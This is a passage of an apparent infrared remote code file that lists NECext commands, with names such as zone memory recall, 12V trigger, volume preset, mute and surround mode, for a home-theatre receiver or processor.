HM_BK_PRESET_RCL_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3A 00 00 00 +# +name: MZ:_HM_P_RECL_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3A 00 00 00 +# +name: MZ:_SYS_MEM_LOAD_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3A 00 00 00 +# +name: SYS_MEM_LOAD_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3A 00 00 00 +# +name: SYS_MEM:_LOAD_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3A 00 00 00 +# +name: SYS_MEM_6_RECALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3A 00 00 00 +# +name: MZ:_SYSM_REC_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3A 00 00 00 +# +name: MZ:_SYSM_MEM_10 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3A 00 00 00 +# +name: HOME_BANK_RECALL_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3A 00 00 00 +# +name: MZ:_SYSM_REC_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3A 00 00 00 +# +name: MZ:_SYSM_REC_7 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3B 00 00 00 +# +name: 12V:_DC2_Z2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3C 00 00 00 +# +name: DC2_TRIG_Z2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3C 00 00 00 +# +name: DC2_TRG_ZONE_2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3C 00 00 00 +# +name: ZONE2_DC2_TRG_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3C 00 00 00 +# +name: DC2_TRIGGER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3C 00 00 00 +# +name: MZ:_SYSM_REC_8 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3C 00 00 00 +# +name: TRIGGER_2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3C 00 00 00 +# +name: TRIGGER_2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3C 00 00 00 +# +name: 12V:_DC2_Z2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3D 00 00 00 +# +name: DC2_TRIG_Z2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3D 00 00 00 +# +name: DC2_TRG_ZONE_2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3D 00 00 00 +# +name: ZONE2_DC2_TRG_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3D 00 00 00 +# +name: DC2_TRIGGER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3D 00 00 00 +# +name: MZ:_SYSM_REC_9 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3D 00 00 00 +# +name: TRIGGER_2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3D 00 00 00 +# +name: TRIGGER_2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3D 00 00 00 +# +name: 12V:_DC2_Z1_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3E 00 00 00 +# +name: DC2_TRIG_Z1_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3E 00 00 00 +# +name: DC2_TRG_ZONE_1_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3E 00 00 00 +# +name: ZONE1_DC2_TRG_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3E 00 00 00 +# +name: DC2_TRIGGER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3E 00 00 00 +# +name: TRIGGER:_2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3E 00 00 00 +# +name: TRIGGER:_2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3E 00 00 00 +# +name: 12V:_DC2_Z1_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3F 00 00 00 +# +name: DC2_TRIG_Z1_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3F 00 00 00 +# +name: DC2_TRG_ZONE_1_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3F 00 00 00 +# +name: ZONE1_DC2_TRG_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3F 00 00 00 +# +name: DC1_MANUAL_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3F 00 00 00 +# +name: TRIGGER:_1_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3F 00 00 00 +# +name: TRIGGER:_2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3F 00 00 00 +# +name: TRIGGER:_2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 3F 00 00 00 +# +name: DC1_MANUAL_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 40 00 00 00 +# +name: TRIGGER:_1_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 40 00 00 00 +# +name: DC2_MANUAL_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 41 00 00 00 +# +name: TRIGGER:_2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 41 00 00 00 +# +name: DC2_MANUAL_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 42 00 00 00 +# +name: TRIGGER:_2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 42 00 00 00 +# +name: Z4:_BASS_+ +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 43 00 00 00 +# +name: Z4:_BASS_- +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 44 00 00 00 +# +name: Z4:_TREBLE_+ +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 45 00 00 00 +# +name: Z4:_TREBLE_- +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 46 00 00 00 +# +name: Z4:_BALANCE_LEFT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 47 00 00 00 +# +name: Z4:_BALANCE_RIGHT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 48 00 00 00 +# +name: SYS_MEM_1_MEMORY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 49 00 00 00 +# +name: Z2:_SYSM_MEM_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 49 00 00 00 +# +name: Z2:_SYSM_MEM_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 49 00 00 00 +# +name: SYS_MEM_2_MEMORY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 4A 00 00 00 +# +name: Z2:_SYSM_MEM_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 4A 00 00 00 +# +name: Z2:_SYSM_MEM_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 4A 00 00 00 +# +name: SYS_MEM_3_MEMORY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 4B 00 00 00 +# +name: Z2:_SYSM_MEM_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 4B 00 00 00 +# +name: Z2:_SYSM_MEM_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 4B 00 00 00 +# +name: SYS_MEM_4_MEMORY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 4C 00 00 00 +# +name: Z2:_SYSM_MEM_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 4C 00 00 00 +# +name: Z2:_SYSM_MEM_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 4C 00 00 00 +# +name: SYS_MEM_1_MEMORY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 4D 00 00 00 +# +name: Z3:_SYSM_MEM_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 4D 00 00 00 +# +name: Z3:_SYSM_MEM_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 4D 00 00 00 +# +name: SYS_MEM_2_MEMORY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 4E 00 00 00 +# +name: Z3:_SYSM_MEM_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 4E 00 00 00 +# +name: Z3:_SYSM_MEM_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 4E 00 00 00 +# +name: SYS_MEM_3_MEMORY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 4F 00 00 00 +# +name: Z3:_SYSM_MEM_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 4F 00 00 00 +# +name: Z3:_SYSM_MEM_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 4F 00 00 00 +# +name: SYS_MEM_4_MEMORY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 50 00 00 00 +# +name: Z3:_SYSM_MEM_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 50 00 00 00 +# +name: Z3:_SYSM_MEM_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 50 00 00 00 +# +name: Z4:_SYSM_MEM_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 51 00 00 00 +# +name: Z4:_SYSM_MEM_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 51 00 00 00 +# +name: Z4:_SYSM_MEM_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 52 00 00 00 +# +name: Z4:_SYSM_MEM_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 52 00 00 00 +# +name: Z4:_SYSM_MEM_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 53 00 00 00 +# +name: Z4:_SYSM_MEM_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 53 00 00 00 +# +name: Z4:_SYSM_MEM_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 54 00 00 00 +# +name: Z4:_SYSM_MEM_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 54 00 00 00 +# +name: SYS_MEM_1_RECALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 55 00 00 00 +# +name: Z2:_SYSM_REC_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 55 00 00 00 +# +name: Z2:_SYSM_REC_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 55 00 00 00 +# +name: SYS_MEM_2_RECALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 56 00 00 00 +# +name: Z2:_SYSM_REC_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 56 00 00 00 +# +name: Z2:_SYSM_REC_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 56 00 00 00 +# +name: SYS_MEM_3_RECALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 57 00 00 00 +# +name: Z2:_SYSM_REC_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 57 00 00 00 +# +name: Z2:_SYSM_REC_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 57 00 00 00 +# +name: SYS_MEM_4_RECALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 58 00 00 00 +# +name: Z2:_SYSM_REC_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 58 00 00 00 +# +name: Z2:_SYSM_REC_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 58 00 00 00 +# +name: SYS_MEM_1_RECALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 59 00 00 00 +# +name: Z3:_SYSM_REC_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 59 00 00 00 +# +name: Z3:_SYSM_REC_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 59 00 00 00 +# +name: SYS_MEM_2_RECALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 5A 00 00 00 +# +name: Z3:_SYSM_REC_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 5A 00 00 00 +# +name: Z3:_SYSM_REC_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 5A 00 00 00 +# +name: SYS_MEM_3_RECALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 5B 00 00 00 +# +name: Z3:_SYSM_REC_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 5B 00 00 00 +# +name: Z3:_SYSM_REC_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 5B 00 00 00 +# +name: SYS_MEM_4_RECALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 5C 00 00 00 +# +name: Z3:_SYSM_REC_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 5C 00 00 00 +# +name: Z3:_SYSM_REC_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 5C 00 00 00 +# +name: Z4:_SYSM_REC_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 5D 00 00 00 +# +name: Z4:_SYSM_REC_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 5D 00 00 00 +# +name: Z4:_SYSM_REC_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 5E 00 00 00 +# +name: Z4:_SYSM_REC_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 5E 00 00 00 +# +name: Z4:_SYSM_REC_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 5F 00 00 00 +# +name: Z4:_SYSM_REC_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 5F 00 00 00 +# +name: VOLUME_BANK_MAIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 60 00 00 00 +# +name: Z3:_VOL_MEM_LOAD_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 60 00 00 00 +# +name: Z3_VOL_MEM_LOAD_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 60 00 00 00 +# +name: Z3:_VL_P_RECL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 60 00 00 00 +# +name: V._PRESET_RECALL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 60 00 00 00 +# +name: Z3_VOL_MEM:_LOAD_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 60 00 00 00 +# +name: VOL_RECALL_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 60 00 00 00 +# +name: VOL_MEMORY_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 60 00 00 00 +# +name: Z3:_VOL_REC_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 60 00 00 00 +# +name: Z4:_SYSM_REC_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 60 00 00 00 +# +name: Z3:_VOL_RECALL_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 60 00 00 00 +# +name: Z3:_VOL_RECALL_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 60 00 00 00 +# +name: Z4:_SYSM_REC_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 60 00 00 00 +# +name: VOLUME_BANK_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 61 00 00 00 +# +name: Z3:_VOL_MEM_LOAD_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 61 00 00 00 +# +name: Z3_VOL_MEM_LOAD_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 61 00 00 00 +# +name: Z3:_VL_P_RECL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 61 00 00 00 +# +name: V._PRESET_RECALL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 61 00 00 00 +# +name: Z3_VOL_MEM:_LOAD_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 61 00 00 00 +# +name: VOL_RECALL_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 61 00 00 00 +# +name: Z3:_VOL_REC_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 61 00 00 00 +# +name: Z3:_VOL_RECALL_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 61 00 00 00 +# +name: Z3:_VOL_RECALL_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 61 00 00 00 +# +name: VOLUME_BANK_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 62 00 00 00 +# +name: Z3:_VOL_MEM_LOAD_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 62 00 00 00 +# +name: Z3_VOL_MEM_LOAD_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 62 00 00 00 +# +name: Z3:_VL_P_RECL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 62 00 00 00 +# +name: V._PRESET_RECALL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 62 00 00 00 +# +name: Z3_VOL_MEM:_LOAD_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 62 00 00 00 +# +name: VOL_RECALL_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 62 00 00 00 +# +name: Z3:_VOL_REC_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 62 00 00 00 +# +name: Z3:_VOL_RECALL_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 62 00 00 00 +# +name: Z3:_VOL_RECALL_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 62 00 00 00 +# +name: Z4:_VOL_RECALL_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 62 00 00 00 +# +name: VOLUME_BANK_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 63 00 00 00 +# +name: Z3:_VOL_MEM_LOAD_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 63 00 00 00 +# +name: Z3_VOL_MEM_LOAD_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 63 00 00 00 +# +name: Z3:_VL_P_RECL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 63 00 00 00 +# +name: V._PRESET_RECALL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 63 00 00 00 +# +name: Z3_VOL_MEM:_LOAD_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 63 00 00 00 +# +name: MUTE_ON_(-40DB) +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 63 00 00 00 +# +name: VOL_RECALL_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 63 00 00 00 +# +name: MZ:_MUTE_-40DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 63 00 00 00 +# +name: Z3:_VOL_REC_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 63 00 00 00 +# +name: MZ:_MUTE_ON_-40DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 63 00 00 00 +# +name: Z3:_VOL_RECALL_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 63 00 00 00 +# +name: Z3:_VOL_RECALL_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 63 00 00 00 +# +name: VOLUME_BANK_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 64 00 00 00 +# +name: Z3:_VOL_MEM_LOAD_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 64 00 00 00 +# +name: Z3_VOL_MEM_LOAD_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 64 00 00 00 +# +name: Z3:_VL_P_RECL_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 64 00 00 00 +# +name: V._PRESET_RECALL_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 64 00 00 00 +# +name: Z3_VOL_MEM:_LOAD_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 64 00 00 00 +# +name: MUTE_ON_(-40DB) +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 64 00 00 00 +# +name: Z3:_VOL_REC_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 64 00 00 00 +# +name: Z2:_MUTE_-40DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 64 00 00 00 +# +name: MUTE_-40DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 64 00 00 00 +# +name: MUTE_-40DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 64 00 00 00 +# +name: Z3:_VOL_RECALL_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 64 00 00 00 +# +name: VOLUME_BANK_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 65 00 00 00 +# +name: Z3:_VOL_MEM_LOAD_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 65 00 00 00 +# +name: Z3_VOL_MEM_LOAD_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 65 00 00 00 +# +name: Z3:_VL_P_RECL_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 65 00 00 00 +# +name: V._PRESET_RECALL_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 65 00 00 00 +# +name: Z3_VOL_MEM:_LOAD_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 65 00 00 00 +# +name: MUTE_ON_(-40DB) +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 65 00 00 00 +# +name: Z3:_VOL_REC_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 65 00 00 00 +# +name: Z3:_MUTE_-40DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 65 00 00 00 +# +name: MUTE_-40DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 65 00 00 00 +# +name: Z3:_VOL_RECALL_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 65 00 00 00 +# +name: MUTE_-40DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 65 00 00 00 +# +name: VOLUME_BANK_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 66 00 00 00 +# +name: Z3:_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 66 00 00 00 +# +name: Z3_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 66 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 66 00 00 00 +# +name: Z4:_MUTE_-40DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 66 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 66 00 00 00 +# +name: 2CH_DECODE_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: DSP_PLII_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: DSP:_PLII_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: DSP:_S_PLIIX_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: SUR_DEC_PLIIX_MOV. +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: DSP:_PLIIX_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: DCODE_PLIIX_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: MUTE_ON_(-40DB)_AZ +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: PROLOGIC_IIX_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: DSP_PLIIX_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: DECOD:_PLIIX_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: AZ:_MUTE_-40DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: PROGRAM_PLII_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: SUR_PLIIX_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: MZ:_MUTE_ON_-40DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: SUR_PLIIX_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: 2CH_DECODE_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 68 00 00 00 +# +name: DSP_PLII_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 68 00 00 00 +# +name: DSP:_PLII_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 68 00 00 00 +# +name: DSP:_S_PLIIX_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 68 00 00 00 +# +name: SUR_DEC_PLIIX_MUS. +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 68 00 00 00 +# +name: DSP:_PLIIX_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 68 00 00 00 +# +name: DCODE_PLIIX_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 68 00 00 00 +# +name: PROLOGIC_IIX_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 68 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 68 00 00 00 +# +name: DSP_PLIIX_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 68 00 00 00 +# +name: DECOD:_PLIIX_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 68 00 00 00 +# +name: FAN:_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 68 00 00 00 +# +name: PROGRAM_PLII_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 68 00 00 00 +# +name: SUR_PLIIX_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 68 00 00 00 +# +name: SUR_PLIIX_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 68 00 00 00 +# +name: 2CH_DECODE_CINEM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: DSP_NEO:6_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: DSP:_NEO/6_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: DSP:_S_NEO:6_CINEMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: SUR_DEC_NEO6_CINE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: DSP:_NEO:6_CINEMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: DCODE_NEO6_MOVI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: NEO:6_CINEMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: DSP:_NEO:6_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: DSP:_NEO6_CINEMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: DSP_NEO6_CINEMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: DECOD:_NEO6_MOVI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: DECOD:_PRO-LOGIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: FAN:_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: PROGRAM_NEO:6_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: SUR_NEO6_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: SUR_NEO6_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: 2CH_DECODE_NMUSI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6A 00 00 00 +# +name: DSP_NEO:6_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6A 00 00 00 +# +name: DSP:_NEO/6_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6A 00 00 00 +# +name: DSP:_S_NEO:6_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6A 00 00 00 +# +name: SUR_DEC_NEO6_MUS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6A 00 00 00 +# +name: DSP_NEO6:_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6A 00 00 00 +# +name: DSP:_NEO:6_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6A 00 00 00 +# +name: DCODE_NEO6_MUSI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6A 00 00 00 +# +name: NEO:6_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6A 00 00 00 +# +name: DSP:_NEO6_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6A 00 00 00 +# +name: 